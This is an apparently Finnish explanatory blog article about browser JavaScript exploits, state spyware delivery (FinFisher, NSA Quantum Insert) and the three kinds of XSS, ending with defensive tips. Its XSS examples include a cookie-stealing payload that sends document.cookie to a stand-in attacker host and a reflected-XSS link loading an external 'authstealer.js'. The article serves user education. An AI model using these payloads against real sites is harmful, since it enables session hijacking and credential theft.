JavaScript ja XSS

Zero-Day Vulnerability

JavaScriptiä käyttävät selaimet sisältävät tietoturva-aukkoja. Aukkoja paikataan sitä mukaa kun niitä ilmestyy, mutta osa voi olla pimennossa vuosia.

Webselaimen käyttö ilman JavaScriptejä on haastavaa, lähes kaikki sivut käyttävät niitä. Mozilla Firefoxiin on saatavilla NoScript lisäosa, jolla selaimessa suoritettavia komentoja voi hallita. NoScript tunnistaa joitakin yleisiä hyökkäysmenetelmiä ja varoittaa niistä.

Käytännössä haitallisen JavaScriptin suoritusta ei huomaa tai selain kaatuu. Scriptin tarkoitus on ohjata selain alkuperäisen sivun ulkopuolelle (XSS, kuvattu alempana) tai aloittaa viruksen asennus. JavaScript ei sinänsä ole vaarallinen, aukot löytyvät Windowsin arkkitehtuurista ja muistinhallinnasta. Ohjelmoinnin perusteita ymmärtävälle haavoittuvuuksien syvempi olemus on kuvattu tässä.

Tästä linkistä esimerkki Tor-selainta kohtaan toteutetusta hyökkäyksestä.

JavaScriptejä ja SVG-kuvatiedostoja hyödyntävä Tor-käyttäjien ip-osoitteiden paljastamiseen tarkoitettu haittakoodi löytyi loppuvuodesta 2016. Se lähettää Tor-käyttäjän todellisen osoitteen Ranskassa sijaitsevalle palvelimelle. Koodia on todennäköisesti upotettu Tor-verkon onion-sivustoille.

JavaScriptejä hyödyntävät muutkin toimijat kuin verkkorikolliset. Tästä linkistä mainosvideo, jossa Gamma Group FinFisher (valtiollisia vakoiluohjelmia tuottava yritys) demonstroi selainhaavoittuvuuksia. Videossa käytetään Windows Laskimen käynnistystä esimerkkinä ns. Remote Code Execution:sta. FinFisher tuoteperheeseen kuuluva FinSpy troijalainen voidaan asentaa tuolla menetelmällä. Demo on vuosia vanha, mutta yhtiö toimittaa jatkuvasti päivitettyjä versioita asiakkailleen. Näitä varten yhtiöllä on verkossa toimiva asiakasportaali.

FinFisherin myyntitiimin asiakirjoista lyhyt FAQ -lista:

Q: Can you supply a list of the current exploits?
A: Yes but we need to do this individually for each request as the available exploits change on a regular basis.

Q: Can we name the supplier?
A: Yes you can mention that we work with VUPEN here

Q: How does the customer get the exploits?
A: They will get access to a web-portal where they can then always download the available exploits

Q: Can this be used to deploy other trojans than FinSpy?
A: Yes, any exe file can be sent

Q: Which Operating Systems do you cover?
A: Currently the focus is on Windows Vista/7. Some exploits for XP are also available. At the moment there are no 0 day exploits for OSX, Linux or mobile platforms.

TOR-verkon selaimiin kohdistettu hyökkäys vuonna 2013:

A message appeared on the Tor Mail main page in early August 2013, saying ”Down for Maintenance Sorry, This server is currently offline for maintenance. Please try again in a few hours.” As of August 2013, the service is unavailable.

Details emerged of a JavaScript attack called 0day, which was injected into the Tor Browser Bundle based on Firefox ESR 17 if JavaScript was enabled as it was by default. JavaScript was turned off by default in updated versions of Tor Browser Bundle. However, this was used during the takedown, which was exploited to send users’ IP addresses and Windows computer names to a server in Virginia. In January 2014 it was confirmed that FBI has access to Tor Mail servers.

 

Virusten asennus teleoperaattorin avustuksella:

Teleoperaattori-avusteiset asennusmenetelmät
Teleoperaattoriavusteiset asennusmenetelmät

 

Sekä FinFisher että Hacking Team tarjoavat viranomaisille ratkaisuja, joilla teleoperaattorin avustuksella saastutetaan valittu kohde.

Teleoperaattorin tiloihin asennettu järjestelmä monitoroi liikennettä kohteen IP osoitteesta. Kun käyttäjä kytkeytyy valittuun www-sivustoon, valvontaohjelmisto tunkeutuu käyttäjän ja sivuston väliin. Maailmalta havaittujen virusten perusteella ainakin YouTube ja Microsoft Live Login sivuja on käytetty levittämiseen.

Käytännössä vakoiluohjelma syöttää esimerkiksi Youtube-videoon JavaScript koodin, joka pyytää käyttäjää tekemään FlashPlayer-päivityksen. Mikäli käyttäjällä havaitaan sopivan haavoittuva selain, voidaan virus asentaa videon katselun aikana huomaamattomasti. Windows suorittaa taustalla viruksen asennuksen.

Nykyisin edellä mainitut sivut ovat ssl-salattuja (https), joten menetelmä ei toimine enää sellaisenaan. Viimeistään selain tunnistaa väärän varmenteen, jos joku asettuu esimerkiksi Youtuben ja käyttäjän väliin valepalvelimeksi.

Toisaalta maailma on täynnä sivuja, jotka eivät ole salattuja ja niitä voidaan edelleen käyttää asennusreittinä.

 

Haittaohjelma-injektio salaamattomaan YouTube Flash-videoon
Haittaohjelmainjektio salaamattomaan YouTube Flash-videoon

 

 

NSA kykenee toteuttamaan valtakunnan rajat ylittäviä viruslevityksiä kohdennetusti.

On vahvoja epäilyjä, että Regin-vakoiluvirus on käyttänyt asennukseen JavaScript-haavoittuvuuksia. Regin on kehittynyt troijalainen, joka havaittiin vuonna 2014.

Hyökkäyksen ensimmäisenä askelena on valita kohde verkkoliikennettä seuraamalla. Oikea kohde tunnistetaan IP osoitteen ja palveluiden (Facebook, sähköpostit, LinkedIn) käyttäjätunnuksilla. Näitä voidaan seuloa liikenteestä mm. Euroopan ja USA:n välisessä valokaapelissa.

Kun kohde on tunnistettu, analysoidaan käyttäjän ohjelmistot. Verkossa liikkuu tieto www-selaimesta, käyttöjärjestelmästä, FlasPlayeristä ja QuickTime-playeristä versionumeroineen. On jopa mahdollista selvittää AdobePDF-lukijan tarkka versio.

Kun ohjelmistot on selvitetty, valitsee NSA sopivat haavoittuvuudet ja hyökkäystavan. Tässä voidaan mennä henkilötasoillekin: Esimerkiksi teleoperaattorin turvallisuusosastolle ei kannata lähettää saastunutta pdf-tiedostoa sähköpostina, koska ammattilaiselle se on epäilyttävä. Toisaalta menetelmää voisi käyttää merkittävälle poliittiselle vaikuttajalle tai hänen avustajalleen, joka avaa hyvin otsikoidun kokouskutsun suuremmin miettimättä. Terroristisolun jäsenelle voisi lähettää linkin The Guardianin artikkeliin, joka todellisuudessa ohjautuu NSA:n palvelimelle viruksen asennusta varten.

Älykkäin menetelmä löytyy NSA:n Quantum Insert-hyökkäystaktiikasta. Tämä on todennäköisesti ollut aiemmin mainitun Reginin levitystapa belgialaisen teleoperaattorin ICT-osastolle.

NSA:lla on runkoverkkoon sijoitettuna suuritehoisia ”Quantum”-palvelimia, joiden tarkoitus on huomata tietyn käyttäjän http-pyyntö esimerkiksi LinkedIn-sivustolle. Kun pyyntö havaitaan, tehokas palvelin vastaa pyyntöön keinotekoisella vasteella samaan aikaan kuin alkuperäinen pyyntö on vielä matkalla Atlantin ali LinkedIn-sivulle. Kyseessä on kilpajuoksu – mikäli Quantumin vastaus saapuu selaimeen ennen todellista, saadaan haittaohjelma ujutettua uhrin koneelle.

NSA:n TAO (Tailored Access Operations) haittaohjelmaimplantti kohdennetulle uhrille
NSA:n TAO (Tailored Access Operations) haittaohjelmaimplantti kohdennetulle uhrille

 

Menetelmän hienous perustuu siihen, että palomuuri, verkkoliikenneanalyysi tai virustorjunta ei huomaa hyökkäystä.

Kun Quantum-vaste on saavuttanut uhrin selaimen, troijalaisen ensimmäinen vaihe asentuu. Tämä analysoi ympärillään olevan verkkorakenteen, tietokoneet, tietoturvan, käyttöjärjestelmät, ihmiset jne., jonka jälkeen tie syvemmälle kohteeseen alkaa aueta.

Mitä XSS (Cross-site scripting) tarkoittaa

Seuraavaksi syvennytään tarkemmin XSS-hyökkäyksiin. Mukana on teknisiä yksityiskohtia, jota ei tarvitse ymmärtää tarkasti. Alimpana vihjeitä, joilla normaali selaimen käyttäjä voi väistellä näitä hyökkäyksiä.

Cross-site scripting (suomeksi: verkkosivun rakenteen muutoshyökkäys) on yleinen menetelmä, jolla haitalliset JavaScript komennot saadaan suoritettua selaimessa. Menetelmä on vanha, peräisin 2000-luvun alusta, mutta edelleen toimiva. XSS ei siis ole itsessään haittaohjelma ja nykypäivänä lähes kaikki verkkosivut suojataan XSS-hyökkäyksiltä. Toisaalta, esimerkiksi Youtubesta, WordPress.com:sta ja erilaisista verkkojulkaisualustoista löydetään aukkoja säännöllisesti.

XSS-hyökkäyksessä hyödynnetään viatonta verkkosivustoa, joka on välikappale haitallisen JavaScriptin toimittamisessa selaimeen – scripti on todellisuudessa hyökkääjältä peräisin. Selain näkee JavaScriptit verkkosivulle kuuluvina komentoina.

Mikä on haitallinen JavaScript

JavaScriptejä käytetään lähes kaikilla verkkosivuilla toiminnallisuuden ja vaikkapa käyttäjätunnusten, salasanojen, luottokorttinumeroiden, henkilötietojen jne. käsittelyyn. Verkkosivun omat komennot pääsevät tietysti kaikkeen sivun tietoon. XSS-hyökkäyksessä haitalliset komennot ovat selaimen näkökulmasta täysin laillisia, ja niitä voi hyödyntää esimerkiksi:

  • Evästeiden anastukseen ja lähettämiseen hyökkääjän palvelimelle.
  • Näppäinpainallusten tallentamiseen ja lähettämiseen hyökkääjän palvelimelle
  • Väärän sisällön tuottamiseen sivustolle, jolla voidaan esimerkiksi huijata käyttäjä syöttämään tunnus ja salasana uudestaan (vrt. ”Istuntosi on vanhentunut”-virhe)
  • Sivun sisällön lähettämiseen sellaisenaan hyökkääjän palvelimelle
  • Linkkien lisäämiseen sivustolle
  • Selaimen tietoturva-aukkojen käyttämiseen haittaohjelma-asennuksessa

JavaScript ei kuitenkaan ole demoni, sen oikeudet ovat hyvin rajoitettuja. Komennoilla ei pääse selaimen ulkopuolelle tiedostoihin tai verkkoympäristöön. JavaScriptit toimivat vain omistajaverkkosivun piirissä (context) ja niillä ei voi lukea esimerkiksi toisen välilehden tietoja tai muistissa olevia salasanoja. Verkkosivun sulkeutuessa JavaScriptit pysäytetään ja niiden oikeudet loppuvat.

Usein näkee arvioita, että TOR-selaimen todellinen IP osoite voidaan lukea JavaScriptillä, se ei ole mahdollista. Sivulla oleva tieto (sähköpostisisältö, käyttäjätunnukset jne) voidaan kyllä lukea. Tämä on yksi syy, jonka takia TOR-selaajan on suositeltavaa pitää NoScript-lisäosalla scriptit estettynä.

JavaScriptien käyttäminen viruksen asennukseen on mahdollista, näistä löytyy esimerkkejä muualta tältä sivustolta. Tällöinkin usein käytetään XSS:ää, mutta komennot tunkeutuvat selaimen haavoittuvuuden kautta asentamaan virusta taustalla (joskus Windows järjestelmänvalvojan oikeuksilla).

Kolme tyypillistä XSS menetelmää

XSS hyökkäyksen tarkoitus on saada selain suorittamaan JavaScript-komentoja, jotka eivät todellisuudessa kuulu verkkosivulle. Menetelmä jaetaan usein kolmeen eri tyyppiin:

  • Persistent XSS (pysyvä), jossa haitalliset komennot syötetään verkkosivun taustalla olevaan tietokantaan
  • Reflected XSS (heijastettu), jossa komennot syötetään sivulle selaimen osoiterivin kautta, ja palautetaan samantien selaimeen suoritettavaksi
  • DOM-based XSS, jossa haavoittuvuus on käyttäjän selaimessa verkkosivun sijasta

Seuraavat esimerkit ovat alkeellisia, ja harvoin nykypäivänä toimivia. Tarkoitus on esitellä periaate. Sivustojen tekijöillä on laaja valikoima menetelmiä XSS-haavoittuvuuksien estämiseen.

Persistent XSS

Oletetaan, että hyökkääjä haluaa anastaa evästeen. Tämä voidaan tehdä suorittamalla selaimessa:

 window.location='http: //haittasivu/?cookie='+document.cookie 

Komento vie selaimen hyökkääjän sivulle ja välittää sinne evästeen.

Komennot tulisi jotenkin saada selaimeen suoritettavaksi. Hyökkääjä voi upottaa ne esimerkiksi viattomalle keskustelupalstalle, joka sallii html-muotoillut viestit, ja joka on XSS haavoittuva. Keskustelupalsta tallentaa hyökkääjän kirjoittaman ’mielipiteen’ tietokantaansa:

Tietokannassa kirjoitus voitaisiin tallentaa parametriin latestComment:

 window.location='http: //haittasivu/?cookie='+document.cookie 

latestComment kohdassa olisi normaalisti selväkielinen mielipidekirjoitus.

Kun käyttäjät lataavat keskustelupalstan selaimeen, mukana tulee sivun koodi:

print "<html>"
 print "Viimeisin vastaus:"
 print database.latestComment
 print "</html>"

Tietokannassa on kuitenkin selväkielisen lauseen tilalla JavaScript-syntaksin mukainen komento. Selain purkaa sen:

<html>
 Viimeisin vastaus:
  window.location='http: //haittasivu/?cookie='+document.cookie 
 </html>

Käyttäjän selain suorittaa nyt hyökkääjän upotteen, osoitepalkkiin ilmestyy vieras sivusto ja eväste välittyy palvelimelle.

Reflected XSS

Tässä haitalliset komennot ovat osoiterivillä, joka kiertää www-sivun kautta takaisin selaimeen suoritettavaksi. Esimerkkinä keskustelupalstan hakuominaisuus. Kun käyttäjä syöttää sivun hakukenttään sanan, jota ei löydy, näkyy sivulla palaute: ”Hakemaasi sanaa xxxxx ei löydy”. Tämä antaa hyökkääjälle vihjeen, että syöte (esimerkissä xxxxx) palautuu takaisin selaimeen.

Tässä tilanteessa selaimen osoiterivillä näkyisi:

http: //esimerkki?q=xxxxx

Sivun hakukenttään voitaisiin kirjoittaa hakusanan tilalle JavaScript komento, jonka seurauksena osoiterivillä lukeekin:

http: //esimerkki?q=alert('haitake');

Viaton sivusto yrittää näyttää tekstiä ”Hakemaasi sanaa alert(’haitake’); ei löydy”, jonka selain purkaakin suoritettavaksi JavaScriptiksi. Tässä esimerkissä näytölle avautuu viesti-ikkuna, jossa lukee sana ’haitake’.

Hiukan kehiteltynä hyökkääjä voisi luoda www-linkin:

http: //esimerkki?q=uutinen<script%20src="http: //haittasivu/authstealer.js">

Linkki lähetetään uhrille sähköpostina, jossa houkutellaan lukemaan uutinen verkkolehden sivulta. Avaamisen seurauksena viaton verkkosivu lähettää selaimeen tietojenkalastelu-JavaScriptin (esimerkissä authstealer.js). Selain suorittaa komennot, koska se on osa esimerkki.com-sivuston sisältöä.

Linkin voisi lähettää Twitteriin, ja saada suuret joukot ihmisiä ohjattua tiedonkalastelusivulle. Lopussa näkyvät pitkät parametrit voi piilottaa käyttämällä URL Shortening palveluita (esim: tinyurl, bitly, y2u.be).

DOM-based XSS

Tässä haitalliset komennot suoritetaan sen jälkeen, kun verkkosivun komennot on suoritettu. Idea perustuu Document Object Model:in hyödyntämiseen. DOM:n avulla verkkosivujen koodi voi muokata selaimessa olevaa sivua suorituksen aikana.

Tässä kuva periaatteesta:

dom-based-xss

Myös FlashPlayer liitännäisellä voidaan toteuttaa Cross-Site Flashing (XSF) tai Flash Parameter Injection (FPI) hyökkäyksiä.

Seuraavassa kuvassa vaaraton Reflected-XSS-esimerkki, jossa sivuille latautuu täysin ulkoiselta verkkosivulta jpg-kuva. Kuvan tilalla olisi oikeassa tilanteessa haitallinen javascript.

Esimerkki XSS-haavoittuvasta sivusta
Esimerkki XSS-haavoittuvasta sivusta

 

 

XSS riskin vähentämiseksi:

  • Asenna Firefoxiin NoScript-lisäosa. Vaikka JavaScriptit olisivat sallittuna, NoScript tunnistaa XSS-hyökkäyksiä. Vääriä hälytyksiä tulee tosin väistämättä
  • Suhtaudu kriittisesti tuntemattomiin www-linkkeihin. Jos epäilyttää, käytä ’Copy Link Location’-valintaa, sijoita linkki uuden välilehden osoiteriville ja tutki linkkiä: näyttävätkö linkin parametrit epäilyttäviltä
  • URL Shortening (tinyurl jne) purkaminen ennen avaamista voi olla viisasta
  • Pidä JavaScriptit estettynä TOR verkon onion sivuilla

XSS haavoittuvuuksien torjuminen on pääasiassa verkkosivun ylläpitäjän tehtävä.

Jätä kommentti